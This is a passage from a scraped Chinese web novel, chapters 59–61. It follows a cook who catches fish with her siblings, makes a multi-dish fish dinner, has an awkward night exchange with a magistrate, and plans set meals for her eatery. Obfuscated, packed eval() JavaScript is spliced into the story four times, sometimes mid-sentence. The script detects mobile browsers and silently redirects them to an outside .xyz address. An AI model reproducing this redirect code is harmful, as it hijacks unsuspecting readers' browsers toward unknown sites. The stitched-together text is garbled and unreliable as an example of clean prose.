RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022237|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陶醉地眯起了眼,“五花肉软糯,鲍鱼有嚼劲,这两样搭配在一起,口感真丰富。” 云楚沅很是赞同,五花肉肥而不腻,鲍鱼肉质紧实,猪肉的荤香与鲍鱼的鲜香结合在一起,简直太完美了。 与她们的细嚼慢咽不同,黎娘子如风卷残云般大快朵颐,吃的过程中频频点头,间隙还不忘抬头冲云楚沅竖起大拇指,“云姑娘,你的手艺太绝了,做什么都好吃!” 黎娘子还记得,当初她吃过一碗云楚沅做的海鲜面后,又连吃了三大碗还意犹未尽,时至今日再吃到云楚沅做的吃食,仍旧感到惊艳。 埋头狂吃的黎娘子还不忘抽空给林小贝夹了两筷子,“小贝,这鲍鱼红烧肉香迷糊了,你多吃一点。” 林小贝对着她腼腆地笑了笑,小声说了句“谢谢”。 他小口小口地咬着红烧肉,腮帮鼓动,细细咀嚼,林小贝的心情十分愉悦,不只是因为红烧肉的美味,更是因为身边女子的体贴。 用过午膳后,云楚沅和黎娘子一道从林家离开了,她们两个一个要回家,一个要回城,云楚沅便想着送一送黎娘子,陪她走到村外。 “楚沅啊,喜宴上再吃到你做的菜后,我怕是会撑得走不动道。”黎娘子摸着自己鼓鼓的肚子,笑呵呵地说道。 方才在林家,林大娘提出想请云楚沅为喜宴掌勺,询问她有没有时间时,云楚沅点头应下了,以他们两家的交情,这事她肯定会答应的。 云楚沅见黎娘子回味着美食、一脸满足的样子,忍不住出声调笑,“那可不行,黎娘子那日可是有要事要办的,倘若耽搁了你入洞房,岂不成了我的罪过?” 黎娘子打了个饱嗝,爽朗笑道:“那必不可能耽误入洞房,吃饱了我只会更有力气!” 听着她的孟浪之言,云楚沅“噗嗤”一声笑了出来,“哈哈哈,黎娘子大展神威,小贝哥怕是要招架不住的。” “哼哼,到时候小贝还不是任我揉捏。”黎娘子洋洋得意地说道。 云楚沅好奇地问道:“黎娘子,你是不是就中意小贝哥这样的男子?” 黎娘子眯着眼说道:“啧,男人嘛,最重要的就是听话。” 说罢,她看向云楚沅,“楚沅啊,你和裴县令的事儿我都听说了,就算他是官老爷,你也不能让他骑到你的头上,男人就得好好调教。” “……”云楚沅哑然,“黎娘子,你误会了,我和裴县令不是那样的关系。” 黎娘子面露不屑地说道:“楚沅,是不是他让你出门在外否认关系的?我和你说啊,这男人,都是贱骨头,给他点颜色就能开染坊,你可不要被男人的三言两语哄骗了。” 接着,黎娘子便向云楚沅传授起了拿捏男人的法子,不外乎打一棒子给个甜枣。 “他要是想要支配你,你可以表面上听从,然后找好下家,让他知道你也不是非他不可的。他瞧见你和别的男人走得近了,保准会心里不舒坦,等他向你服软的时候,你晾他两次,再给他点甜头。” 黎娘子讲得头头是道:“你记住,管教男人就像放风筝,讲究松弛有度。” 59. 一鱼多吃 从林家到小渔村外这短短一段路,云楚沅觉得十分漫长,她听着黎娘子滔滔不绝地讲了一路的秘诀。 “总之,不要惯着他,你要让裴县令感受到你的重要,让他离不开你。” 黎娘子郑重其事地拍了拍云楚沅的肩膀,又多说了一句,“楚沅,如果你还是没法把他治的服服帖帖,我劝你及时止损,找个更乖巧的,不要在一棵树上吊死。” 云楚沅左肩一歪,默默承受着大掌的重量,她讪讪一笑,“黎……黎娘子,妙语连珠,妹妹受益良多。” 待目送着黎娘子远去的背影,云楚沅长长舒了一口气。 回忆起黎娘子的话,她便控制不住地浮想联翩,脑子里全是她将小书生揉圆搓扁的画面,云楚沅用力甩了甩脑袋,停止了联想。 倘若有个对她百依百顺的小书生,云楚沅八成会乐得找不着北。 可她和裴昱臣确实没有实质性的关系,怎么能像黎娘子说的那样随意调教呢,所以云楚沅也只是在脑子里想一想,过过瘾。 回到家的云楚沅发现楚河这皮小子竟然老老实实呆在家里,没跑出去疯玩。 她好奇地问道:“怎么没去找你师傅?阿汤哥不在家吗?” 云楚河眨巴着明亮的大眼睛:“我去过师傅家了,他在补鱼网呢。师傅说咱家鱼塘里的鱼有许多可以收了,让我来问问阿姐你要不要去看看。” 云楚沅明白了,阿汤哥说的是云家在村尾承包的鱼塘,她想了想说道:“好久没抓鱼了,咱们一起去鱼塘捞鱼玩呗。” 云楚河眼睛一亮:“好啊!” 身着淡蓝色布裙的云楚沅,将头发扎成了两条俏皮的麻花辫,发梢随着步伐晃动,光洁的额头上有几缕碎发被风轻轻吹起。 云楚沅的手里握着一根细长的竹竿,顶端系着用旧渔网改造成的捞兜,这是她在家里自制的捞鱼工具。 云楚沅带着楚河和楚清来到了村尾,小弟眼里闪烁着兴奋与期待的光芒,小妹的脸颊因激动而泛起淡淡红晕,显然两人都对捞鱼这项活动很感兴趣。 “你们两个先在旁边看着,我先下去试一试。”云楚沅撸起袖子,挽起裤腿,小心翼翼地迈入鱼塘中。 她弯下腰缓缓将捞兜放入水中,动作轻柔且熟练。 池塘的水面泛起一圈圈涟漪,惊扰了附近悠闲游弋的鱼群,它们瞬间四散奔离,却又很快又在不远处重新聚拢。 云楚沅聚精会神,慢慢靠近,瞅准时机,手腕快速地向前一捞,迅速提起捞兜。 只听“哗啦”一声水响,捞兜之中多了一条活蹦乱跳的鲫鱼,银色的鱼身在阳光下闪烁着的光,这条鱼体型不小,它拼命扭动着身躯想要挣脱束缚。 “抓到啦,抓到啦!阿姐太厉害了!”云楚河激动得欢呼起来,他迫不及待地伸手去接阿姐手里的大鱼。 云楚沅握着滑溜溜的鱼递给他:“拿好了,别让它跑掉了。” “嗯嗯,我会小心的。”云楚河笑嘻嘻地用双手握紧鱼身,端详着这条不停张嘴、甩动尾巴的大鱼。 云楚清慢慢伸手,摸了摸光滑的鱼,清脆的声音如同银铃般响起:“阿姐,你好厉害哦。” 将鱼放进脚边的桶里,云楚河的神情跃跃欲试,他伸手拉扯一下云楚沅的衣角,嘴里嘟囔着:“阿姐,让我也试试嘛。” 云楚沅经不住小弟的哀求,同意让他下来捞鱼,可个头不高、身体瘦弱的小妹肯定是不能下水的,“楚清,你乖乖在旁边等着,回去我给你做好吃的。” 头戴一顶小花帽的小妹,双手交叠于身前,睁着圆溜溜的大眼看着他们,她乖巧地点了点头,“好哦。” “阿姐,你快看,那条鱼好大啊!”云楚河惊呼一声。 云楚沅顺着他指的方向看去,一条硕大的鱼在水中若隐若现,它的体型是刚才抓的那条鱼的两倍大。 锁定目标之后,云楚沅悄咪咪地蹲下身子,缓缓靠近,双手探入浑浊的水中,那条肥鱼似乎察觉到了危险,它扭动身躯想要离开,荡起一圈又一圈水波。 “楚河,你去那边等着。”这条鱼体型过大,游动起来非常不灵活,云楚沅指挥着小弟堵住大鱼游的方向,她则跟在后头见机行事。 大鱼在接近云楚河张开的双臂时,后知后觉此路不通,它艰难地调转身体,换了个方向游动。 熟料云楚沅等的就是这个间隙,趁着大鱼身体停滞,云楚沅猛地向前一扑,动作间带着十足的把握,她手臂发力,稳稳托住了鱼身。 感受到身体被禁锢,大鱼自然不甘心被逮捕,它拼命挣脱,在经过一番较量之后,那条足有半人长的大鱼被云楚沅高高举了起来。 “哈哈,你往哪里跑!乖乖到我怀里来吧!” 银白鳞片在阳光下熠熠生辉,鱼尾有力地拍打着,水珠溅到了云楚沅的脸颊上,她眯着眼偏过头去。 “楚河,快来帮忙。”云楚沅抱在怀里的大鱼太重了,它开始往下滑。 云楚河见状,立马趟着水“哗哗哗”地跑过来,周围的池水因他的动作变得浑浊,“阿姐,我来啦!” 走近的云楚河用两只手托起大鱼的尾巴,向上抬了抬,云楚沅顺势将大鱼又往怀里扒拉了两下,死死抱住它。 “快快快,快上岸!”云楚沅招呼着小弟,两人一前一后架着这条大鱼向岸边走去。 “阿姐,哥哥,你们小心。”云楚清看着他们俩艰难地走过来,连忙将稍大点的那只木桶放到了离岸边很近的地方。 搬着怀里的大家伙,云楚沅轻喘着气,她的额头上渐渐渗出细密的汗珠,顺着白皙的脖颈滑落。 可云楚沅丝毫不在意,她的脸上洋溢着灿烂的笑容,完全沉浸在捞到大鱼的喜悦之中。 “楚河,咱们一起把它放进桶里。”云楚沅和小弟同时弯下腰,把鱼往小妹扶着的桶里送去。 “噗通”一声,肥鱼入桶,溅起不小的水花,这条鱼竖着斜靠在桶里,完全舒展不开身体。 “哇,这鱼太大了,我们的桶都快装不下了。”小妹蹲在木桶边,用手指轻轻戳着里面的鱼,“咯咯咯”的笑了起来。 云楚沅提过另一只木桶,里面只躺着一条鱼,“把这个桶装满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026034|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,咱们就回去吧。” “好!”刚刚帮着阿姐捕获一条大鱼的云楚河尚未尽兴,他转身回到了池塘里。 云楚沅没有走远,就站在岸边不远处,她弯腰伸出手去,水漫过手腕,她目光专注地盯着水下,一旦有鱼儿游过,便迅速合拢两只手掌,稳稳将其擒住。 随着时间的推移,一条又一条的鱼被丢进木桶里,桶里的鱼越来越多,它们互相挤碰着,溅起朵朵水花。 云楚沅抹了一把脸上的汗水,笑着说道:“好啦,差不多了,咱们回家吧。” “啊,这么快就装满了呀。”云楚河慢悠悠地从池塘里往岸上爬,语气满是失落。 “今日就先到这里吧,明日再来吧。”云楚沅提起放着大鱼的那只桶,让小弟和小妹合力提另一桶鱼。 “对哦,我都忘记了,我们要在村子里多呆几日了。”云楚河乐呵呵地说道。 “你们两个在阿汤哥家里要听话,我过几日来接你们。楚河,你身为哥哥,要多照顾一下小妹。”云楚沅带着他们两个去往了不远处于汤的家。 “知道了,阿姐,你就放心吧。”云楚河拍着胸脯做出保证。 云楚沅敲响于汤的家门,把小弟和小妹送了进去,“阿汤哥,这几日麻烦你了。” 提着渔网的于汤把他们姐弟三人迎了进来,接过他们手里的桶,摇了摇头说道:“没事,我该做的。” 云楚河很有眼力见儿地抢过于汤手里的渔网,“师傅,我来帮你补网!” 面无表情的于汤轻轻扯了扯嘴角,活泼好动的云楚河一出现,给他平淡的生活增添不少乐趣,所以云楚沅把弟弟妹妹送到他家里来,他很欢迎。 云楚沅提起装着肥鱼的桶,对院中的几人说道:“我去给你们做饭,这条大鱼适合来个‘一鱼多吃’。” “一鱼多吃”是将鱼头、鱼身、鱼尾、鱼骨等部位分开,通过不同的烹饪方式实现一条鱼的多种风味。 云楚沅一边处理鱼,一边在心里盘算着要怎么做,剁椒鱼头、豉汁蒸鱼片、红烧鱼尾、椒盐鱼骨、凉拌鱼皮,便是她想好的菜单。 洗净的鱼头稳稳放在盘中,堆得满满的红色茱萸如火焰般覆盖其上,还有蒜末、姜丝混在其中。 当蒸锅腾起袅袅白雾时,热气裹挟着茱萸的辛香和鱼肉的鲜香弥漫开来,出锅后的剁椒鱼头色彩鲜艳,诱人至极。 薄如蝉翼的鱼片整齐地码放在碟子里,云楚沅淋上调好的豉汁,鱼片在蒸制的过程中变得晶莹剔透,慢慢吸收着豉汁的酱香味。 云楚沅将鱼尾煎至两面金黄,加入酱油、蚝油、糖等调料慢炖,浓郁的汤汁咕嘟咕嘟地冒着泡,鱼尾渐渐变成红棕色,散发出的酱香和甜香。 剁成大块的鱼骨连接着不少鱼肉,云楚沅将其炸至金黄酥脆,撒上椒盐粉,做成一道香喷喷的椒盐鱼骨。 云楚沅把透明的鱼皮切成长条,搭配上葱丝、黄瓜丝、胡萝卜丝、花生、芫荽等配菜,再浇上由醋、盐、山葵、胡麻油调制而成的料汁,搅拌均匀,这道凉拌鱼皮色泽丰富,宛如一幅五彩斑斓的画卷。 60. 小心思 院中摆好了桌椅,只待云楚沅的“一鱼多吃”上桌。 “饭菜做好了!”云楚沅端着剁椒鱼头从厨房里走了出来,于汤连忙走过去接过她手中热气腾腾的菜肴。 云楚河和云楚清也跑了过来,积极地说道:“阿姐,我们也来帮忙。” 热菜肯定不能交给这两个孩子,云楚沅便让他们俩把椒盐鱼骨和凉拌鱼皮端了出去。 五道菜摆满了桌子,小弟和小妹的眼睛来回扫视,像是在思索着先从哪里落筷,云楚沅笑着对于汤说道:“阿汤哥,这两个小馋虫怕是等不及了,你先动筷吧。” 再怎么说,他们姐弟三人也是客人,哪好意思当着人家主人的面直接开吃。 于汤点了点头,目光被那道红彤彤的剁椒鱼头吸引,他伸手夹起一块嫩滑的鱼头肉送入口中。 牙齿碰撞间,刺激感十足的辛辣味在舌尖爆发,接着,鱼肉的细腻鲜甜将那股强烈的冲击稍稍压了下去,两种滋味融合在一起,变成了热辣鲜香,让人欲罢不能。 “师傅,味道如何?”云楚河紧紧盯着于汤咀嚼的动作,想知道这些菜是否符合他的口味。 “好……好吃。”于汤愣愣地说道,他没有学问,不知用什么词藻来形容,憋了半天只能挤出简单的“好吃”二字。 “嘻嘻,师傅,你再尝尝别的菜。”云楚河得意洋洋地笑了起来,仿佛是他被夸赞了似的开心。 于汤轻轻夹起一片豉汁蒸鱼片,能清晰地看到鱼肉的纹理,他放入口中细细品尝,伴随着淡淡咸香和丝丝甘甜,鱼片的鲜嫩多汁淋漓尽致地展现了出来。 这道豉汁蒸鱼片和剁椒鱼头相比,又是一种不同的美味,前者咸鲜,后者辛辣,两种搭配令鱼肉有了截然不同的风味。 于汤再次开口:“这个……也好吃。” 云楚沅微微一笑,让沉默寡言的人来点评菜肴,属实是有些难为人了,她对云楚河说道:“好啦,赶紧用饭吧,方才你不还嚷嚷着饿了吗?” 云楚河嬉笑一声,举起筷子夹向离他最近的红烧鱼尾,阿姐的厨艺那么好,肯定做什么都好吃,他也不嫌弃这鱼尾巴肉少。 用筷子轻轻一拨,鱼肉便脱离了骨头,云楚河迫不及待地将鱼肉送入口中。 外皮微微酥脆,里面的鱼肉鲜嫩多汁、肉质紧实,云楚河吃得满足,雪白的鱼肉包裹着浓郁的酱汁,咸甜适中,回味无穷。 与盯着肉吃的哥哥不同,云楚清对那一盘金灿灿的椒盐鱼骨特别感兴趣,“阿姐,这个鱼骨头我能吃吗?” 云楚沅给她夹了一块,说道:“能吃,阿姐都把骨头炸酥了,不会卡喉咙的。” “好哒!”云楚清的双眼亮晶晶的,为自己不会错过这道美食而感到高兴。 既然阿姐说能吃,那她便放心大胆地吃了,这咸香酥脆的椒盐鱼骨吃起来便让人一根接一根地停不下来,沉迷其中的云楚清都无暇去品尝其他菜了。 鱼骨咬起来“嘎吱”作响,见小妹拿着一根鱼骨啃得津津有味,云楚沅也为自己夹了一块,吃的过程中,能感受到鱼骨头的酥脆口感,还能尝到残留在其中的鱼肉带来的淡淡鲜味。 云楚河将三道热菜都尝过后,看向摆在桌角没人动过的凉拌鱼皮,笑着说道:“阿姐,鱼皮怎么还能单独做成一道菜呢?不会是你用来凑数的吧。” 云楚沅掀起眼皮看了他一眼:“你吃过后再评价。” 虽然云楚河对自家长姐的厨艺盲目信服,可他并不喜欢吃鱼皮,觉得鱼皮口感不好、难以下咽,每次吃鱼的时候,他都会把皮挑走,除非是炸鱼他能够接受。 将信将疑的云楚河夹起一筷子鱼皮塞进嘴里,本以为会不怎么好吃,可嚼了两口,他便被惊艳到了,冰凉爽滑鱼皮口感弹牙,再配上酸辣的酱汁和爽口的配菜,吃起来十分清新。 “意外的有些不错。”云楚河歪着头说道,尽管他不爱吃鱼皮,但也不能说这道菜难吃。 云楚沅失笑道:“所以说,凡事不要那么快下结论。再说了,你不爱吃,有人爱吃。”说罢,她看向了阿汤哥。 于汤跟着云楚河也夹了一筷子鱼皮,结果尝过后就停不下来了,一整盘鱼皮他吃了大半,云楚沅不由感慨道:“想不到这么多菜里,凉拌鱼皮最得阿汤哥的心。” 于汤不好意思地说道:“我喜欢这种滑滑的、又爽脆的口感。” 云楚沅刚想说,凉拌鱼皮的做法很简单,我可以教给你。 可她转眼间想起了一个人,那便是暗恋于汤的钱春香,这不就是个牵红线的好机会嘛。 俗话说得好,男追女隔座山,女追男隔层纱。 既然春香姐有这份心,她刚好可以把这凉拌鱼皮的做法透露给她,说不定这两人成了好事后,她还能算半个红娘呢。 想到这里,云楚沅默默闭了嘴,这个投其所好的机会还是让给春香姐吧。 吃完午饭后,云楚沅又陪着小弟和小妹去海边玩,一直陪他们用过晚膳后,才依依不舍地离开了小渔村。 回到县衙,后院已经挂上了灯笼,犹豫了一会儿,她向主院走去。 今日她没去做大锅饭,也不知道钱婶搞得定吗,云楚沅想去问问裴昱臣情况如何。 “裴大哥,我回来啦!” 云楚沅一进院子,便大声嚷嚷了起来,生怕别人不知道她来了。 “吱呀”一声,卧房的门被推开,披着素色外袍的男子走了出来。 “呃,裴大哥,你是要睡了吗?我是不是打搅你了?”云楚沅看着裴昱臣外袍下的里衣,有些尴尬地挠了挠头,这人好像刚从床上下来。 屋檐上的灯笼在微风中轻轻摇曳,洒下的光将小书生的身影拉得修长。 裴昱臣姿态慵懒地依靠在雕花门框上,墨色如瀑垂落在腰间,他深邃的眼眸直直望向云楚沅,薄唇轻启:“怎么回来得这般晚?莫不是乐不思蜀了?” 云楚沅搓了搓手,赔笑道:“哪能啊,我又不是去玩的,我在小渔村一整日都惦记着工地的情况。多一日我都呆不下去,这不当天就回来了嘛!” “哼,天都黑了才回,也不怕遇上坏人。”裴昱臣双手抱胸,淡淡地看了她一眼,那一眼包含了说不清道不明的情绪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16033636|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>看着小书生这副故作疏离的样子,云楚沅呼吸一滞,脑海中不由自主地想起了黎娘子的话,“这种外表冷漠的男人,往往内心火热,他们就是故意装出拒人于千里之外的姿态来勾着女子对他们产生兴趣。” 云楚沅神色有些恍惚,满脑子都是,这小书生是不是在勾引我? 这么想着,她便这么说了出来,“你是不是在勾引我?” 听清楚她在说什么的裴昱臣双眼微瞪,神色有些错愕,脊背也不自觉地僵住了,“你……你说什么?” 回过神来的云楚沅十分懊恼,她这张破嘴,怎么什么话都说呀。 可话都说出口了,她总不能承认自己在心中胡乱臆想吧,拉不下脸来的云楚沅嘴硬道:“哼,穿这么少就出来见我,你敢说你没有旁的小心思?” 裴昱臣的嘴唇微微翕动,似乎是想要辩解,却又不知如何开口。 还不是因为这丫头久久未归,引得他心中担忧,躺在床上辗转反侧。 他一听到云楚沅的声音后,出来的便有些急,并非故意衣衫不整地走出门。 裴昱臣一时之间被突如其来的质问堵得哑口无言,他的脑子里一片空白,唯有那不断加速跳动的心房昭示着他心中的慌乱。 此刻,周遭的空气仿佛都凝固了,静谧得只能听见两人的呼吸声。 云楚沅有些摸不着头脑,怎么回事,这小书生怎么不反驳呢?她还想着裴昱臣恼怒地回怼她两句,她便插科打诨地转移话题呢! 现在是什么情况?怎么不说话呀? “我……”尴尬的云楚沅刚想说她是开玩笑的,却被突然出声的裴昱臣打断了。 “你说是什么便是什么吧。”他微微低下头,声音低沉,语速极快地撂下这句话后便转身回房了。 “砰”的一声,门在云楚沅的面前合上了,带起的风吹乱了她的发丝,也吹乱了她的思绪。 云楚沅没看清小书生的神色,只听见了他反常的语气,她的手指绞着衣角,轻咬住下唇,满脑子都是裴县令生气了。 纠结半晌后,云楚沅走上前两步,轻轻拍了拍门,小声说道:“你生气了吗?抱歉,我说错话了……” 在她看不见的地方,门内的裴昱臣仰着头倚靠在墙边,右手手掌盖在眼睛上,掩饰住了他眼神中的无措,却遮不住他泛红的脸。 听着门外传来的道歉声,裴昱臣头一次感觉到自己如此窝囊,竟然做起了缩头乌龟。 他方才说的话,并不是气急败坏,只是冲动之下决定提前向她透露几分自己的意思。 外头谣言四起,他却没有站出来澄清之时,裴昱臣便决定好了要对她负责,他的未来规划将会有所变动。 以前的他死脑筋,信誓旦旦地说要先立业后成家,可现在他想通了,两者可以兼顾啊,难得遇见心仪之人,怎能错过机会呢。 裴昱臣已经想好了,临海县修路建房的工程完成后,他便表明心迹,求娶云姑娘。 所以面对质问,裴昱臣借机暗示她,结果他因为太过羞涩落荒而逃了,而这傻丫头半分也没有领会到他的意思。 61. 鸳鸯套餐 翌日清晨,云楚沅早早来到云记食肆。 站在柜台后的钱春香听见有人进门的动静,抬头一瞧,看清楚来人后,连忙迎了出来,“楚沅,你来晚一步,我娘带着收拾好的食材,刚离开去了棚子那边。” 云楚沅问道:“钱婶昨日如何?能负责得了大锅饭吗?从湘香馆调过来的那两个妇人干活利索吗?” 临去小渔村之前,云楚沅特意安排好了工作,给钱婶列好了大锅饭的菜单,又从湘香馆那边挑了人手来帮忙。 工匠们的伙食最重要的是量大管饱,这也算是个体力活了,云楚沅安排的妇人都是力气不小的。 至于让钱婶掌勺也没啥大问题,毕竟她在后厨做帮工的时日不短了,做饭水平直线上升,也算能独当一面了。 “一切都好,我娘干劲十足,她还挺乐意做大锅饭的。”走过来的钱春香笑着说道,她突然注意到了云楚沅的脸,惊呼一声,“啊,楚沅你的眼睛怎么了?” 云楚沅尴尬地用手遮了遮黑眼圈,小声嘀咕:“都怪裴昱臣。” 昨晚,她低声下气在裴昱臣的房门外道了好久的歉,结果就等来小书生一句“知道了”,把她给气得不轻,这男人还拿起乔来了! 果然,黎娘子说得没错,男人绝对不能惯着,给点颜色就开染坊。 云楚沅回到房间躺在床上后,满脑子都是蹂躏小书生的画面,她决定好了,先晾他两日,让他好好尝尝被冷落的滋味。 钱春香听见了云楚沅的嘟囔,忍俊不禁道:“怎么,和裴县令闹矛盾了?” 云楚沅鼓着气的圆润脸颊泛起淡淡的红晕,粉唇不自觉地嘟了起来,轻哼一声:“男人的心思真难猜。” 这句话让钱春香深有体会,她脸上的笑容变成了愁容,情不自禁地叹了口气,“唉,谁说不是呢,我咋就搞不懂他在想什么呢?” 看着钱春香思绪飘远、喃喃自语的样子,云楚沅了然,她这是想起自己的心上人了。 云楚沅身子前倾些许,亮晶晶的眼睛狡黠地眨了眨,她扬起下巴脆生生地说道:“春香姐,你和阿汤哥进展如何了?” 钱春香看了她一眼,嘴巴张了张,犹豫着开口:“毫无进展,他就是个榆木脑袋,任凭我怎么暗示都没有用!” “春香姐,你如何暗示的?说来听听!”眼睛睁得圆圆的云楚沅,直勾勾盯着钱春香,眼里满是按捺不住的好奇和跃跃欲试的八卦劲儿。 钱春香耷拉着脑袋,肩膀微微下沉,无奈地说道:“上回我送给阿汤哥擦嘴的帕子,他洗干净后送了回来,我就跟他说,男人用过的绣帕我不能继续用了,除非是我相公。你猜怎么着?” 被勾起兴趣的云楚沅立马拉着她问道:“然后怎么着了?阿汤哥什么反应?” 钱春香的嘴角向下撇了撇,露出一抹比哭还难看的苦涩笑容,欲哭无泪地说道:“他竟然说我不要就算了,他家里的抹布破了,正好换个新的。” “哈哈哈,这是哪儿来的大傻子呀,笑死我了。” 云楚沅笑的不行,阿汤哥也太笨了,人家是在含蓄地表达心意他都听不出来,这要是她,分分钟便能发现。 当局者迷,旁观者清。 要是裴昱臣在这里,八成会对她翻白眼,他的暗示也没见她听懂啊,就这还好意思笑话别人呢。 “哎哟,哎哟,不行了,笑得我肚子疼。” 云楚沅揉着肚子,脸上笑意不减,她用手指擦了擦眼角笑出来的泪,说道:“春香姐,憨子听不懂隐晦的表白,那你就打直球啊。” 钱春香没听明白,疑惑地问道:“打……什么球?” “就是直截了当一点。”云楚沅用胳膊碰了碰钱春香,对着她挤眉弄眼道:“你可以直白地问他对你有什么看法。” 钱春香蹙起眉头,欲言又止,“这……这能行吗?他会不会觉得我不矜持? 云楚沅心想,你们两人,一个含蓄,一个呆愣,如果没有人主动的话,猴年马月才能捅破这层窗户纸啊! “春香姐,面子重要,还是阿汤哥重要?”云楚沅贴近钱春香的耳畔轻声说道,语气里满是蛊惑。 见她神色松动,云楚沅继续说道:“咱们小渔村因为养殖一事可是出了名了,好多单身汉子都成了香饽饽,邻村的适龄女子全都虎视眈眈,其中不排除有盯上阿汤哥的,你确定要把他拱手让人吗?” 听着云楚沅说的话,钱春香的脑子里随即联想出阿汤哥和其他女人搂搂抱抱的画面,顿时难过的不行,她紧咬下唇,脸颊因用力而泛红,“不……不行,我不愿他娶别的女子。” 眼瞧着钱春香红了眼眶,云楚沅摇了摇头,心中感慨万千,啧啧啧,在爱情里先动心的那个人,往往是输家。 “春香姐,我回小渔村的时候,发现了阿汤哥的一个喜好,你可以试着投其所好啊!”云楚沅连忙转移话题,将钱春香从悲伤低落的情绪中拉了出来。 钱春香勉强打起精神:“楚沅,他有什么喜好?你快说与我听听。”观察于汤许久,她都没发现这人有什么喜欢的东西,如今有云楚沅提供情报,说不定她可以借机拉近两人的关系。 “我做了一道凉拌鱼皮,阿汤哥喜欢的很,春香姐,我可以把这个菜的做法教给你。”说罢,云楚沅从账簿上撕了张纸,提笔将做菜步骤写了下来。 钱春香捏着手里的菜谱,不好意思地低下了头,“楚沅,这可是吃食方子呀,你就这么给我了吗?” 云楚沅摆了摆手说道:“凉拌菜做法简单,很容易被人复刻出来,没关系的。” 钱春香满脸激动地握住云楚沅的手,“谢谢你楚沅,要是我和阿汤哥成了,我们成亲你坐主桌。” “哈哈,那感情好,我也算是你们半个媒人了。”云楚沅摸着脑袋笑了起来。 他们两人在一个村子生活了十多年,都没出现苗头,这一来她的食肆,钱春香便相中了于汤,看来云记食肆很有潜力成为相亲胜地呀。 想到这里,云楚沅眼睛一亮,诶,对哦,她的饭馆还从来没推出过套餐呢,这可是提高利润的好方法啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038290|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通过合理搭配菜品捆绑销售,能够提高客单价、提高出餐效率,而且套餐价格低于单品价格,会让客人们产生“占了大便宜”的想法,从而提升整体的消费额。 云楚沅拿起了菜单,上面陆陆续续已经增加到了二十几道菜,能搭配出许多花样,“春香姐,我们的菜单再加上一栏套餐,还有湘香馆那边也要如此,你去把萧掌柜喊过来。” 钱春香看着云楚沅神色兴奋地写写画画了起来,不明白怎么话题变得这么快,方才她们不还在讨论追求男子的事吗?这会儿怎么说到菜单了? 不过,云楚沅可是她的东家,生意上的事比儿女情长重要多了,钱春香动作迅速地出了门,去将湘香馆的女掌柜叫了过来。 “婉姐姐,快来,我有了新法子。”云楚沅招呼着湘香馆的掌柜萧小婉坐了下来,这位姐姐可是位思想通透的聪慧女子,很会经营铺子。 “楚沅,你火急火燎的让人把我叫了过来,是有什么事吗?”萧小婉平稳了一下呼吸,提起桌子上的茶壶为自己倒了杯水,这一路上她可是小跑过来的,问春香出了何事,她也是一问三不知。 云楚沅将列出来的新菜单展示给萧小婉和钱春香看,上面写着单人套餐、双人套餐、鸳鸯套餐、三人套餐、家庭套餐等等。 每样套餐都搭配了主食、小菜和酒水,其中的鸳鸯套餐是即将推出的海鲜鸳鸯火锅。 萧小婉看着套餐后面的价钱被墨水划过后用朱砂标记了更优惠的价格后,她有些明白了云楚沅的想法,“你这是想将部分菜肴绑在一块低价卖吗?” 云楚沅打了个响指,笑眯眯地说道:“正解,铺子每次搞活动,都会吸引来许多人,可活动不是每日都有的,而套餐的出现可以让客人们享受永久的优惠。” 萧小婉眼神赞赏地看向她:“不错,这样一来,还能带动一下卖得少的菜品,而且我们推出新菜品的时候也不怕没人愿意尝试了,可以用套餐的方式吸引食客。” 云楚沅笑道:“嘻嘻,知我者,非你也。” 萧小婉指着菜单上的鸳鸯火锅问道:“这是你打算新推出的吗?” 云楚沅点了点头:“我发现来饭馆用饭的大多都是男子,很少有女子单独来的,我这个鸳鸯套餐就是为那些感情甚笃的夫妻提供的,让他们有个共度良辰的好去处。”说罢,她看了钱春香一眼,“这个想法还是春香姐带给我的灵感呢。” 钱春香的脸腾地一下红了,她扯了扯云楚沅的衣袖,小声道:“这都是楚沅你脑子转得快,与我关系不大。” 萧小婉面带笑意地看着她们两人:“看来这其中有我不知道的小秘密,想必有人好事将近了,那可不要忘了给我送请柬。” 眼见钱春香脸红得快要晕过去了,云楚沅朝萧小婉使了个眼色,示意她适可而止。 萧小婉摇头失笑,春香就是脸皮子薄,这要是换了楚沅,保准抬起下巴炫耀。 